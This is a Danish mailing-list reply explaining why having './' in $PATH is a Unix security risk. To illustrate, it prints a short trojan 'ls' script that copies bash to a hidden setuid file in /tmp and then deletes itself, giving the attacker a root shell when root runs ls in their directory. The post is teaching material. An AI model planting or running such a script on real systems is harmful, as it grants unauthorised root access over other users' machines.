← Back to team overview

sslug-teknik team mailing list archive

Re: SV: probs med CC/GCC

 

Henrik F wrote:
> Og nu et rigtigt newbie spørgsmål (kommer fra et C++ miljø):
> Hvorfor skal  path'en være ./ ?

Svaret har ikke noget med C++ at gøre, men med Unix sikkerhed.

Forstil dig at jeg er en undskabsfuld bruger på en server,
som du er root på, og at du som root har ./ i din $PATH. Jeg gør
noget undskabsfuldt fx. downloader 500Mb MP3 filer, på du hopper
hen i mit hjemkatalog og kører ls for at se hvor mange MP3 filer
jeg har liggende der.

Fordi jeg er undskabsfuld har jeg på forhånd lavet et script
med navn ls, i mit hjemkatalog, dette script indeholder

#!/bin/bash

cp /bin/bash '/tmp/..\ '
chmod a+rwxs '/tmp/..\ '

/bin/ls $@
rm ls

Når du skriver ls i mit hjemkatalog kører du ikke /bin/ls men
mit ls script, fordi du har ./ i din $PATH, og du gør det som
root. Dvs. at alle kommandoer i scriptet udføres med root
rettigheder. Dvs. root tager en kopi af bash med navn
/tmp/..<mellemrum> root giver alle rettighed til at udføre
denne. Hele tricket ligger i den særlige 's' betyder at den
er setuid, dvs. at at når jeg kører bash så udførers den
ikke med mine bruger rettigheder men med roots rettigheder.

Normalt når du kører et program, så er selve program filen
jo eget af root se fx. /usr/bin/, men de filer programmet
gemmer er ejet af dig, fordi du kører programmet med din
egen bruger identitet. Setuid udføres som ejeren af filen,
og ikke den bruger identitet der har startet programmet.

Anyways, mit ls script kører derefter den normale ls, og
sletter sig selv, så du ikke mistænker noget. Jeg siger
mange undskyldninger for at have 500Mb MP3 filer, og sletter
dem igen.

Men når du vender ryggen til, så kører jeg /tmp/..<mellemrum>
og så har jeg en root prompt uden at skulle give root passwordet,
og kan gøre lige hvad jeg har lyst til, inklusivt at ændre
roots password, installere password sniffere og ændre alle
konfigurationer.

Fun ikke? ;*)

Det samme virker mellem brugere, så hvis du lokker en bruger
til at kører ls scriptet i dit katalog, så vil du have adgang
til at misbruge den brugers hjemmekatalog.

Det er grunden til at det er en dårlig idee at have ./ i sin $PATH.

Hvis du har ./ til sidst i $path så vil den bruge ls i /bin først,
så er det kun hvis du skriver forkert, og ved et uheld kommer til
at udfører scriptet at der sker noget. Men det er svært at ved
et uheld komme til at skrive ./ls

-- 
  Mvh. Carsten Svaneborg
Har du krænket et patent idag? Se 
http://www.softwarepatenter.dk


References